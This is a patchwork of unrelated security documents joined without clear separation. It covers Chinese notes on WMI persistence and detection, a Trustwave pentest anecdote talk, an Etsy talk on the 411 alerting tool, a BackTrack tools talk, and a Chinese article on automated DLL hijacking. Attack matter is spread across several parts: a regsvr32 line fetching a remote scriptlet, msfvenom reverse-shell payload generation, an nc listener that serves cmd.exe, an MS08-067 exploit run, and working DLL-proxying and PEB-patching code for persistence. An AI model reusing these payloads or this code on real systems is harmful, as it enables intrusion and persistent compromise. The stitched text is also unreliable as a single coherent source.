EvilWMIProvider(已404) EvilNetConnectionWMIProvider(最后一次更新是5年前) 枚举 WMI Providers: Get-WmiProvider.ps1 PoC WMI Backdoor 掠过,WMI Backdoor 未放出源代码,因此给出的函数实际意义不大。 Attack Defense and Mitigations 参考:Tales of a Threat Hunter 2 检测 Powershell或其他工具查询对应的类:Filter、consumer 、FilterToConsumerBinding Autoruns(GUI 界面的WMI菜单栏) 相关文章:透过Autoruns看持久化绕过姿势的分享(一) 防御 所有的系统行为都可以引发一个事件,包括前面的创建/删除WMI 永久事件订阅、修改注册表、安装 WMI Providers 都会触发对应的事件。 具体的事件请使用 Get-WmiObject -Class *__*event* -list 查看。 笔者的思路为:注册对应的WMI 永久事件订阅,来监控对应的事件,动作设置为写入日志或其他(列 如通知) 注:删除WMI 永久事件订阅本身也可以触发事件 缓解措施 禁用WMI服务:可以会影响依赖该服务的应用 防火墙限制端口 日志 由于WMI 服务涉及 WinRM和DCOM,所以需要查看3种服务的日志,比较推荐使用sysmon 捕获日志 Microsoft-Windows-WinRM/Operational Microsoft-Windows-WMI-Activity/Operational Microsoft-Windows-DistributedCom 相关项目:WMI_Monitor 各类工具 参考:Persistence – WMI Event Subscription WMImplant WMIOps Metasploit 中的 puts generate_mof 这种方式父进程是 %SystemRoot%\system32\wbem\scrcons.exe -Embedding msfvenom + SharpShooter +WMIPersistence+csc use exploit/windows/smb/psexec irb puts generate_mof("Metasploit1","notepad.exe") #生成恶意mof文件 #命令部分自定义,例如 regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll #在目标Windows 机器上使用自带的 mofcomp.exe .\Metasploit.mof 编译 #如果你愿意阅读下生成的mof文件的代码,核心部分是通过Jscript调用wmi,扩展 Win32Provider,构造WMI 永久事件订阅 #考虑进程迁移 PoshC2 中Invoke-wmievent Metasploit 中的 exploit/windows/local/wmi_persistence ,默认 Filter 是出现4625事件, 4625事件是登录失败( runas 输入错误账户密码即可导致该事件 ) Empire 中 persistence/elevated/wmi ,同样是 4625 事件触发, persistence/elevated/wmi_updater 可以从远程获取 payload,注册的 WMI 永久事件订阅 默 认 Name 为 AutoUpdater 更多的资料 Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=4444 -f raw -o payload.bin python SharpShooter.py --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload.bin #@冷逸指出有可能是Outlook.CreateObject() COM 导致的失败 base64 -i output/implantvbs.vbs > ./payload.txt cd C:\Windows\Microsoft.NET\Framework64\v3.5 # csc.exe WMIPersist.cs /r:System.Management.Automation.dll  #windows 中编译 #目标执行,笔者测试为复现成功 THERE’S SOMETHING ABOUT WMI Windows管理规范(WMI)指南:了解WMI攻击 Command and Control – WMI WMI 101 for Pentesters Handling Events with PowerShell and WMI Blue Team Hacks - WMI Eventing WMI vs. WMI: Monitoring for Malicious Activity 比较好的中文资料 Windows WMI技术总结 wmic命令解析与实例 完美的介绍了wmic命令的各种应用,用户管理、组管理、加域、配置ip、注册表编辑等等 以及三好学生的几篇博文 WMI Attacks WMI Backdoor WMI Defense Study Notes of WMI Persistence using wmic.exe WSC、JSRAT and WMI Backdoor FireEye 报告的译文 WMI的攻击,防御与取证分析技术之攻击篇 WMI 的攻击,防御与取证分析技术之防御篇
pdf
Rob Havelt - Director of Penetration Testing, Trustwave SpiderLabs Wendel G. Henrique – Security Consultant, Trustwave SpiderLabs Copyright Trustwave 2010 Confidential BIO SpiderLabs:~ Trustwave$ whois RHavelt •  Director of Penetration Testing at Trustwave’s SpiderLabs. •  Over 18 years in the security industry. •  He has worked with offensive security seemingly forever, and from running a start-up ISP, to working as a TSCM specialist, he's held just about every job possible in the realm of system administration and information security. •  Formerly a bourbon-fueled absurdist, raconteur, and man about town, currently a sardonic workaholic occasionally seeking meaning in the finer things in life — Rob is, and will always be, a career hacker. •  Given Talks at Toorcon, Black Hat, Thotcon, BSides. Copyright Trustwave 2010 Confidential BIO SpiderLabs:~ Trustwave$ whois WendelGH •  Security consultant (Penetration Test Team) at Trustwave’s SpiderLabs. •  Over 9 years in the security industry. •  Co-authored patent-pending penetration testing technology. •  Spoke in Black Hat Arsenal 2010 (USA), OWASP AppSec Research 2010 (Sweden) and Black Hat Europe 2010 (Spain). Previously, Wendel spoke in Troopers 09 (Germany), OWASP AppSecEU09 (Poland), YSTS 3.0 (Brazil), and has spoken in well known security conferences such as DEFCON 16 (USA) and H2HC (Brazil). •  Discovered vulnerabilities across a diverse set of technologies including webmail systems, wireless access points, remote access systems, web application firewalls, IP cameras, and IP telephony applications. Copyright Trustwave 2010 Confidential First Thing First •  Up here there is a Server. Its connected to a WiFi Network. In Fact there are 2 WiFi networks in here. •  We will be logging into this server as root at least every 5 min during this talk. Possibly more frequently. •  Whomever can give us the root password for this server before the end of this talk gets one of these spiffy T-Shirts. •  There are two ways we know should work to accomplish this. Use one of those 2 ways, or impress us with a 3rd way we haven’t though of… •  We will explain the point of this all later in the preso. Copyright Trustwave 2010 Confidential Outline 1.  What is This All About? 2.  Collection of Weirdest, Freakiest, and Most Unlikely Hacks We've Found. 3.  Meet the Victims - These have serious implications. 4.  DEMO – What is that thing from before all about? 5.  Conclusions. What is This All About? Copyright Trustwave 2010 Confidential What is This All About? •  The unique opportunity to see real, interesting, uncommon and some non- trivial attacks that can't be found by automated tools. •  More than 2300 penetration tests were delivered last year by SpiderLabs and only the coolest and freakiest were selected to present at DEFCON 19. •  By the end of this presentation we hope to have the you thinking about systems and applications that organizations use every day, and how they may be used against them Collection of Weirdest, Freakiest, and Most Unlikely Hacks We've Found Copyright Trustwave 2010 Confidential Do you want Fries with that Hack? •  Huge restaurant network that also sells food via internet. •  Web Application developed in Java and Flash - maturity of security in development. •  No severe common issues (SQL Injection, Remote Code Execution, etc). •  Manipulate prices and similar parameters gave no juice. •  When buying with Credit Card we was redirect to a 3rd party server that holds the transaction. •  The CHD was not sent to target restaurant website, instead there was a JS script calling the 3rd party server with the properly parameters. •  At the end of negotiation, the 3rd party server sends an message via a secure channel telling if the transaction was approved or not, consequently the solicitation was processed or not. •  While the target restaurant website and 3rd party server were secure, there was no proper mechanism to validate if the data sent from one to the other via the customer browser was correct. •  Consequently, was possible to buy a sandwich, french fries, juice and ice cream with 50 cents and the receipt at the target restaurant website printed the real value (9.50 USD). Copyright Trustwave 2010 Confidential One PBX Will Rule Them All Hack. •  We found a field tech account on a Siemens ROLM PBX, and we cloned the Voice Mail for the corporate Tech support. •  Some guy called in after hours with a VPN problem, it was Checkpoint, and we actually knew what the problem was and how to fix it since we was very familiar with Checkpoint. •  So we called him back, and helped him fix it – but we asked for his username, and his Secure ID Pin, and had him read the number off his token, etc. •  BINGO! We logged in myself, then told him the settings that he needed to change to get his working. Copyright Trustwave 2010 Confidential The Inside-Out VPN Hack. •  Internal penetration test where the network segment was very limited (heavily filtered by firewall). •  All reachable systems had just a few services, including 2 OpenSSH servers, 1 Samba server and some Microsoft Windows answering to ICMP request (ping) but filtering almost all incoming connections. •  All services were well configured and up-to-date, also VLAN bypass was not possible. •  However, ARP Poisoning was possible. •  The bad news is that after 2 hours looking for traffic there was nothing useful. •  We decided to do an HTTPS MITM (Man In The Middle) with an self create certificate. •  User accepted it and we dumped the plain-text content of requests and responses. •  We found an session from an internal system to a external Web VPN SSL. •  From home, we started a session with this external server and cloned the cookies and we got access to several applications and file servers. Copyright Trustwave 2010 Confidential The Island Nation and Port 0 Hack. •  Very restrictive firewall in-place. •  However, when sending packets sourced from Port 0 it would go right through the firewall. •  Allowed to compromise all credit card processing for the whole country. Copyright Trustwave 2010 Confidential The Caucasian-Asian Love Hack. •  External Penetration Test with very few services. •  However there was an administrative web interface. •  Looking at comments and meta-data we found the e-mail of the Web Application developer. •  Researching at Internet we found that he had some code he posted in a newsgroup, but sadly that was not very helpful. •  But looking up the guy name, we found his Facebook page, and found a nickname that his friends called him. •  It turns out that he used that nickname on a site called "Caucasian-Asian Love" so we built a wordlist from his dating profile and it worked, he used a word from there as his password. Copyright Trustwave 2010 Confidential In Soviet Russia Hackers Monitor You Hack. •  External Penetration Test in a multi-national company. •  The main network in LAC was huge, but up-to-date. •  There was several uncommon services and applications. •  We found almost 20 IP HD Cameras accessible from Internet. •  No default password or well known vulnerabilities. •  We found a bypass on the authentication system and we discovered two Operating System undocumented accounts. •  Allowed us to monitor several places inside the company and even zoom up to 10x. •  We owned the Operating System that was connected to the internal network. •  Ref.: https://www.trustwave.com/spiderlabs/advisories/TWSL2010-006.txt). Copyright Trustwave 2010 Confidential Oracle and The New Tool Hack •  Internal Penetration Test where just Oracle databases were accessible. •  Oracle databases well hardened, not success on direct compromise. •  ARP Poisoning was possible, looking for almost 2 hours the traffic there was just Oracle. •  However no new sessions was established since we were looking. •  We used thicknet to hijack an pre-existent Oracle session and take-over the database. •  Ref.: https://www.trustwave.com/downloads/spiderlabs/Trustwave-SpiderLabs-Oracle- Interrupted-Henrique-and-Ocepek.pdf Meet the Victims - These have serious implications Copyright Trustwave 2010 Confidential Meet the Victims - These have serious implications. None of these attacks lead to anything trivial. Nor were these trivial organizations. Most of them had a lot to loose and some major juice. •  Types of Organizations We are Talking About Here: •  A Few Multi-National Banks •  A Global Restaurant Franchise •  A Credit Card Processor for an Entire LAC Nation •  A Major Retail Chain •  Types of Data Stolen / Accessed •  Every Visa and Mastercard transaction processed in an entire country. •  Hundreds of Millions of Credit Card PAN and Track Data •  HR Data for global organizations •  The DHS Terrorist Watch List for Financial Institutions •  Billions of Dollars DEMO: Who won a T-Shirt? Conclusion Copyright Trustwave 2010 Confidential Conclusion •  This talk was focused on those complex or uncommon hacks found in real environments. •  Some in very high end and important systems, that are unlikely but true. •  This is indeed a bizarre world where odd business logic flaws get you almost free food [including home shipping], sourcing traffic from port 0 allows ownership of the finances a nation, and security systems are used to hack organizations. •  We are happy to be here [again] and hope you have enjoyed. •  Contact us: Rhavelt <arroba> trustwave <ponto> com Whenrique <arroba> trustwave <ponto> com
pdf
411: A Framework for Managing Security Alerts Kai Zhong @sixhundredns Ken Lee @kennysan 411: A Framework for Managing Security Alerts Kai Zhong @sixhundredns Ken Lee @kennysan OPEN SOURCE! Who Are We? KZER Kai Zhong Product Security Engineer @ Etsy I wear many hats Twitter: @sixhundredns KLEE Ken Lee Senior Product Security Engineer @ Etsy Spoke at Defcon 21 about Content Security Policy Loves funny cat gifs Twitter: @Kennysan What is Etsy? What Are We Covering? History The Problem(s) Our Solution Alert Management @ Etsy More Examples Demo But First, Some Terminology Logs The ELK Stack Logstash Data processor and log shipper Logstash Data processor and log shipper Allows you to break out your log data into separate fields Logstash Data processor and log shipper Allows you to break out your log data into separate fields We use it to ship logs into Elasticsearch! Elasticsearch Distributed, real-time search engine Elasticsearch Distributed, real-time search engine Allows storing complex, nested documents Elasticsearch Distributed, real-time search engine Allows storing complex, nested documents Allows generating statistics over your data Elasticsearch Distributed, real-time search engine Allows storing complex, nested documents Allows generating statistics over your data We use it for analyzing logs! Kibana Data visualization frontend for Elasticsearch Kibana Data visualization frontend for Elasticsearch Log discovery Kibana Data visualization frontend for Elasticsearch Log discovery Visualizations! History Switching to ELK Work started in mid 2014 Switching to ELK Work started in mid 2014 Finished in mid 2015 Switching to ELK Work started in mid 2014 Finished in mid 2015 We learned a lot from the migration Switching to ELK Work started in mid 2014 Finished in mid 2015 We learned a lot from the migration And got a bunch of great tools out of it It Was A Bumpy Road Hiccups are expected when moving to a new technology It Was A Bumpy Road Hiccups are expected when moving to a new technology Had to deal with annoying, performance-impacting bugs It Was A Bumpy Road Hiccups are expected when moving to a new technology Had to deal with annoying, performance-impacting bugs Security was concerned about the usability of ELK It Was A Bumpy Road Hiccups are expected when moving to a new technology Had to deal with annoying, performance-impacting bugs Security was concerned about the usability of ELK ELK didn’t have functionality to help us monitor attacks in real time The Problem(s) Search scheduling? No Search Scheduling Security heavily relied on Splunk scheduled searches for alerting No Search Scheduling Security heavily relied on Splunk scheduled searches for alerting No equivalent for ES at the time No Search Scheduling Security heavily relied on Splunk scheduled searches for alerting No equivalent for ES at the time No web UI for managing searches An Unfamiliar Query Language Our alerts were complex SPL (Splunk Processing Language) queries An Unfamiliar Query Language Our alerts were complex SPL (Splunk Processing Language) queries ES’s query language is less robust An Unfamiliar Query Language Our alerts were complex SPL (Splunk Processing Language) queries ES’s query language is less robust Some things were non-obvious coming from SPL The Road to ELK Integration The Road to ELK Integration We needed a query language for building complex queries without code The Road to ELK Integration We needed a query language for building complex queries without code We needed a mechanism to run and manage these queries The Road to ELK Integration We needed a query language for building complex queries without code We needed a mechanism to run and manage these queries Preferably before we turned off Splunk ; ) ESQuery Features Superset of the standard Lucene syntax Features Superset of the standard Lucene syntax Syntactically similar to SPL! Features Superset of the standard Lucene syntax Syntactically similar to SPL! Supports all the functionality we need!!! Syntax Command Syntax Inline params $size:20 $sort:user_id $fields:[a,b,c] Joins * | join source:src_ip target:dst_ip Aggregations * | agg:terms field:src_ip | agg:terms field:user_id Variable substitution src_ip:@internal_ips SPL source="/data/syslog/current/web/info.log" log_namespace="login" reason="wrong password" response=403 | top 10 remote_host { "query": { "filtered": { "query": { "bool": { "minimum_number_should_match": 1, "should": [ { "query_string": { "query": "type:web_info_log log_namespace:login logdata.reason:\"wrong password\" response:403 ", "default_operator": "AND", "lowercase_expanded_terms": false, "allow_leading_wildcard": false }}]}}, "filter": { "bool": { "must": [ { "range": { "event_timestamp": { "from": 1468294422783, "to": 1468295322783 }}}]}}}}, "size": 0, "sort": [ { "event_timestamp": { "order": "desc", "ignore_unmapped": true }}, { "event_timestamp": { "order": "desc", "ignore_unmapped": true }}], "aggs": { "terms_bucket": { "terms": { "field": "logdata.remote_host", "size": 10 }}}} ESQuery type:web_info_log log_namespace:login logdata.reason:"wrong password" -response:403 | agg:terms field:logdata.remote_host size:10 411 Alert Management Write queries to be automatically executed Alert Management Write queries to be automatically executed Receive email alerts whenever there are results Alert Management Write queries to be automatically executed Receive email alerts whenever there are results Manage alerts through the web interface Scheduling Under the Hood Search Alerts Targets Filters Search Job Under the Hood Scheduler Search Jobs Workers Dashboard Managing queries Configuring a query Managing alerts Reviewing an alert Alert Management @ Etsy How We Respond to an Alert Incident Response High sensitivity alerts Incident Response High sensitivity alerts Low alerts don’t generate notification e-mails Incident Response High sensitivity alerts Low alerts don’t generate notification e-mails Medium/High alerts generate alerts Incident Response High sensitivity alerts Low alerts don’t generate notification e-mails Medium/High alerts generate alerts Attackers often generate a lot of noise -- can result in numerous alerts firing! Responding to an Alert Is this an alert that can wait till morning? Responding to an Alert Is this an alert that can wait till morning? How many other related alerts went off during this time period? Alert Maintenance Sometimes certain queries are no longer useful Alert Maintenance Sometimes certain queries are no longer useful Review noisy alerts Alert Maintenance Sometimes certain queries are no longer useful Review noisy alerts Add in other useful fields What Deserves an Alert? Potential error conditions What Deserves an Alert? Potential error conditions Volume of traffic/Thresholds being hit What Deserves an Alert? Potential error conditions Volume of traffic/Thresholds being hit Deprecating old code Instances Sec411 Instances Sec411 Netsec411 Instances Sec411 Netsec411 Sox411 More Examples Better Queries with Lists Better Queries with Lists Beyond ELK Graphite A way to store and graph time series data Graphite A way to store and graph time series data Best for simple threshold alerting Graphite A way to store and graph time series data Best for simple threshold alerting All of Graphite’s data transforms are available HTTP Detect when a HTTP endpoint returns an unexpected response HTTP Detect when a HTTP endpoint returns an unexpected response Useful for web services HTTP Detect when a HTTP endpoint returns an unexpected response Useful for web services Similar in functionality to Nagios Demo Questions? Check out 411 here: https://fouroneone.io Kai @sixhundredns kai@etsy.com Ken Lee @kennysan ken@etsy.com
pdf
@ripshy  +  @hackajar Thursday  July  26th,  2012 ¡  Ripshy §  90%  Badass  /  10%  Cuddly §  Attending  CON  since  2002,  supporting  role  since 2004,  Vegas  2.0  Co-­‐Founder ¡  Hackajar §  90%  Cuddly  /  10%  Badass §  Attending  CON  since  2000,  supporting  role  since 2004,  Vegas  2.0  Co-­‐Founder ¡  Getting  Started  with  BackTrack  5  R2 ¡  Getting  to  know  the  top  5  PenTest  Tools ¡  Using  Top  5  Tools  in  IT  Sec  Environment ¡  Break  Stuff!  Tools  in  action ¡  Q/A  (to  be  hosted  in  separate  room) ¡  Live  InfoSec  Linux  Distro ¡  Functional  Toolset §  Information  Gathering §  Penetration  (DV-­‐DA!) §  Etc. ¡  Developed  by  BAMF’s §  http://www.offensive-­‐security.com ¡  Boot  your  CD’s §  Or  your  computer  if  you  pre-­‐installed ¡  The  biggest  inside  joke:  What  is  root’s password? §  toor  (and  we  will  not  repeat  it!) ¡  Where  are  my  network  services? §  Network  is  not  started  by  default §  Neither  is  SSHD §  Don’t  Forget  to  save  changes!!! §  http://www.backtrack-­‐linux.org/wiki/index.php/Basic_Usage ¡  Nmap ¡  Tcpdump  –  libpcap ¡  nc ¡  Ntop ¡  MetaSploit ¡  Developed  by  Fyodor  in  years  past §  Bumping  into  him?  Ask  about  The  Matrix  movie! ¡  Maintained  at  http://www.insecure.org ¡  Current  version  is  new  6.0  branch ¡  What  it  does: §  Scans  network  for  open  ports,  alive  hosts,  OS Fingerprinting,  and  much  more! §  We  only  care  about  scanning  and  OS fingerprinting  today ¡  How  to  use: §  localhost#  nmap  –v  –sT  –F  –A  –oG  output.grep  10.x.x.x/24 ¡  What  the  heck  does  that  mean? §  -­‐v  –  Increase  the  verbosity  of  output §  -­‐sT  –  Do  a  full  TCP  connection  to  all  ports §  -­‐F  –  Fast  scan,  only  scan  ports  in  /etc/services §  -­‐A  –  Enable  OS  fingerprinting  +  other  features §  -­‐oG  –  Output  to  grepable  format §  10.x.x.x/24  –  Scan  all  254  hosts  in  range  given ¡  Output: ¡  Developed  by  LBNL  in  years  past ¡  Maintained  at  http://www.tcpdump.org ¡  Current  version  is  4.4.0  (June  2012) ¡  What  it  does: §  Dumps  all  traffic  seen  on  a  network  Interface  to screen  or  file §  We  will  only  capture  basic  packets  and  do  simple analysis ¡  How  to  use: §  localhost#  tcpdump  –i  eth0  –n  -­‐x ¡  What  the  heck  does  that  mean? §  -­‐i  –  Interface  we  want  to  listen  to  (eth0) §  -­‐n  –  Turn  off  /etc/services  translation §  -­‐x  –  Dump  hex  of  output  to  screen ¡  Output ¡  Developed  by  The  Hobbit  in  2002 ¡  Maintained  at  http://nc110.sf.net ¡  Current  version  is  1.10  (January  2010) ¡  What  it  does: §  Creates  TCP  compliant  sockets §  We  will  create  a  reverse  shell  for  today’s demonstration ¡  How  to  use: §  C:\>nc  –l  –p  2000  –e  cmd.exe §  localhost#  nc  172.16.75.130  2000 ¡  What  the  heck  does  that  mean? §  -­‐l  –  Listen  on  a  port §  -­‐p  –  Port  should  be  X §  -­‐e  –  When  connection  established,  execute  a command ¡  Output ¡  Developed  by  Luca  Deri  in  1998 ¡  Maintained  at  http://www.ntop.com ¡  Current  version  is  4.1.0  (Aug  2011) ¡  What  it  does: §  Slurps  up  network  traffic  (like  tcpdump)  and poops  out  perdy  webpages  detailing  network traffic  information §  Screen  shots  only  today ¡  Output ¡  Developed  by  HD  Moore  in  2003 ¡  Maintained  at  http://www.metasploit.com ¡  Current  version  is  4.4 ¡  What  it  does: §  Turns  common  vulnerabilities  in  a  point-­‐and-­‐click p0wnage  fest. §  We  will  pick  on  Windows  XP  SP2  today ¡  How  to  use: §  localhost#  msfconsole §  msf>  use  windows/smb/ms08_067_netapi §  msf>  set  rhost  172.16.75.130 §  msf>  set  target  0 §  msf>  set  payload  windows/shell_reverse_tcp §  msf>  set  lhost  172.16.75.129 §  msf>  exploit ¡  What  the  heck  does  that  mean? ¡  Initial  Risk  Assessments §  Tools  exist  to  do  this  for  you §  NOTHING  beats  a  hacker  on  a  scent. ¡  Remediation §  Fix  yo  Shit! ¡  Prevention §  The  egg  is  always  broken.  Fuck  ITIL. §  Introducing  the  Swiss-­‐Cheese-­‐Jawbreaker method. Q/A  Bitches @ripshy @hackajar
pdf
⾃动化通⽤DLL劫持 - 1 ⾃动化通⽤DLL劫持 之前写过⼀篇 使⽤⽩加⿊的⽅式⽣成"冲锋⻢",使⽤到部分 dll 劫持的技术。但是它的场景是劫持后阻断正常⽩⽂件的运⾏,程序的控制权交到“⿊⽂ 件”中。 这篇⽂章是对通⽤ DLL 劫持的研究,期望能制作⼀个通⽤的 DLL,劫持程序原有的 dll 但保留原 dll 的功能,同时执⾏⾃⼰的代码,这个 dll 最好能⾃动⽣成(不要⼿动编译),主要⽤于维权场景。 已有研究 Aheadlib 著名的⼯具 Aheadlib 能直接⽣成转发形式的 dll 劫持源码,通过 #pragma comment(linker,"/EXPORT:") 来指定导出表的转发。 转发模式⽣成的源码: 红队开发 - ⽩加⿊⾃动化⽣成器.md - ⼩草窝博客 参考⼀些APT组织的攻击⼿法,它们在投递⽊⻢阶段有时候会使⽤“⽩加⿊”的⽅式,通常它们会使⽤⼀个带有签名的⽩⽂件+⼀个⾃定义dll⽂件,所以 研究了⼀下这种⽩加⿊的实现⽅式以及如何将... x.hacking8.com ⾃动化通⽤DLL劫持 - 2 C++ 及时调⽤模式⽣成的源码: 每个导出函数会跳转到⼀个全局保存的地址中,在 dll 初始化的时候会通过解析原 dll 对这些地址依次赋值。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 头文件 #include <Windows.h> ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 #pragma comment(linker, "/EXPORT:Box=testOrg.Box,@1") ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 入口函数 BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) { if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); } else if (dwReason == DLL_PROCESS_DETACH) { } return TRUE; } ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ⾃动化通⽤DLL劫持 - 3 C++ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 头文件 #include <Windows.h> ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 #pragma comment(linker, "/EXPORT:Box=_AheadLib_Box,@1") ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 原函数地址指针 PVOID pfnBox; ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 宏定义 #define EXTERNC extern "C" #define NAKED __declspec(naked) #define EXPORT __declspec(dllexport) #define ALCPP EXPORT NAKED #define ALSTD EXTERNC EXPORT NAKED void __stdcall #define ALCFAST EXTERNC EXPORT NAKED void __fastcall #define ALCDECL EXTERNC NAKED void __cdecl ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // AheadLib 命名空间 namespace AheadLib { HMODULE m_hModule = NULL; // 原始模块句柄 DWORD m_dwReturn[1] = {0}; // 原始函数返回地址 // 获取原始函数地址 FARPROC WINAPI GetAddress(PCSTR pszProcName) { FARPROC fpAddress; CHAR szProcName[16]; TCHAR tzTemp[MAX_PATH]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintfA(szProcName, "%d", pszProcName); pszProcName = szProcName; ⾃动化通⽤DLL劫持 - 4 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 } wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); ExitProcess(-2); } return fpAddress; } // 初始化原始函数地址指针 inline VOID WINAPI InitializeAddresses() { pfnBox = GetAddress("Box"); } // 加载原始模块 inline BOOL WINAPI Load() { TCHAR tzPath[MAX_PATH]; TCHAR tzTemp[MAX_PATH * 2]; lstrcpy(tzPath, TEXT("testOrg.dll")); m_hModule = LoadLibrary(tzPath); if (m_hModule == NULL) { wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); } else { InitializeAddresses(); } return (m_hModule != NULL); } // 释放原始模块 inline VOID WINAPI Free() { if (m_hModule) { FreeLibrary(m_hModule); } } } using namespace AheadLib; ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 入口函数 BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) { if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); return Load(); } else if (dwReason == DLL_PROCESS_DETACH) { Free(); } ⾃动化通⽤DLL劫持 - 5 缺点也有,它在导出函数中使⽤汇编语法直接 jump 到⼀个地址,但在 x64 模式下⽆法使⽤,这种写法感觉也不太优雅。 不过 Aheadlib ⽣成的源码,编译出来⽐较通⽤,适合 输入表dll加载 以及 Loadlibrary 加载劫持的形式。 易语⾔ DLL 劫持⽣成 这个⼯具⽣成的源码看起来⽐ Aheadlib 简洁⼀点,它会 LoadLibrary 原始 dll,通过 GetProcAddress 获取原始 dll 的函数地址和本身 dll 的函数地址,直接在函数内存地址写⼊ jmp 到原始 dll 函数的机器码。 这种⽅式⽐上⾯的代码简洁,⽤ C 改写下,⽀持 x64 的话计算⼀下相对偏移应该也 ok。但还是⽐较依赖于⾃动⽣成源码,再进⾏编译。 ⼀种通⽤ DLL 劫持技术研究 来⾃: 作者 @anhkgg 通过分析 LoadLibraryW 的调⽤堆栈以及相关源码得出结论 测试代码也很简单 136 137 return TRUE; } ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_Box(void) { __asm JMP pfnBox; } ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// https://www.52pojie.cn/forum.php?mod=viewthread&tid=830796 直接获取 peb->ldr 遍历链表找到⽬标 dll 堆栈的 LdrEntry 就是需要修改的 LdrEntry,然后修改即可作为通⽤ DLL 劫持。 ⾃动化通⽤DLL劫持 - 6 C++ Github 地址: 我将这个代码精简优化了下,也⽀持了 x64 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 void* NtCurrentPeb() { __asm { mov eax, fs:[0x30]; } } PEB_LDR_DATA* NtGetPebLdr(void* peb) { __asm { mov eax, peb; mov eax, [eax + 0xc]; } } VOID SuperDllHijack(LPCWSTR dllname, HMODULE hMod) { WCHAR wszDllName[100] = { 0 }; void* peb = NtCurrentPeb(); PEB_LDR_DATA* ldr = NtGetPebLdr(peb); for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink; entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList); entry = entry->Blink) { PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry; memset(wszDllName, 0, 100 * 2); memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length); if (!_wcsicmp(wszDllName, dllname)) { data->DllBase = hMod; break; } } } VOID DllHijack(HMODULE hMod) { TCHAR tszDllPath[MAX_PATH] = { 0 }; GetModuleFileName(hMod, tszDllPath, MAX_PATH); PathRemoveFileSpec(tszDllPath); PathAppend(tszDllPath, TEXT("mydll.dll.1")); HMODULE hMod1 = LoadLibrary(tszDllPath); SuperDllHijack(L"mydll.dll", hMod1); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DllHijack(hModule); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } https://github.com/anhkgg/SuperDllHijack ⾃动化通⽤DLL劫持 - 7 C++ 缺点是这种⽅式只适⽤于 LoadLibrary 动态加载的⽅式。 在 issue 中有⼈对隐藏性作了讨论 思路不错,也放上来展示⼀下。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include "pch.h" #include <stdio.h> #include <iostream> #include <winternl.h> void SuperDllHijack(LPCWSTR dllname) { #if defined(_WIN64) auto peb = PPEB(__readgsqword(0x60)); #else auto peb = PPEB(__readfsdword(0x30)); #endif auto ldr = peb->Ldr; auto lpHead = &ldr->InMemoryOrderModuleList; auto lpCurrent = lpHead; while ((lpCurrent = lpCurrent->Blink) != lpHead) { PLDR_DATA_TABLE_ENTRY dataTable = CONTAINING_RECORD(lpCurrent, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); WCHAR wszDllName[100] = { 0 }; memset(wszDllName, 0, 100 * 2); memcpy(wszDllName, 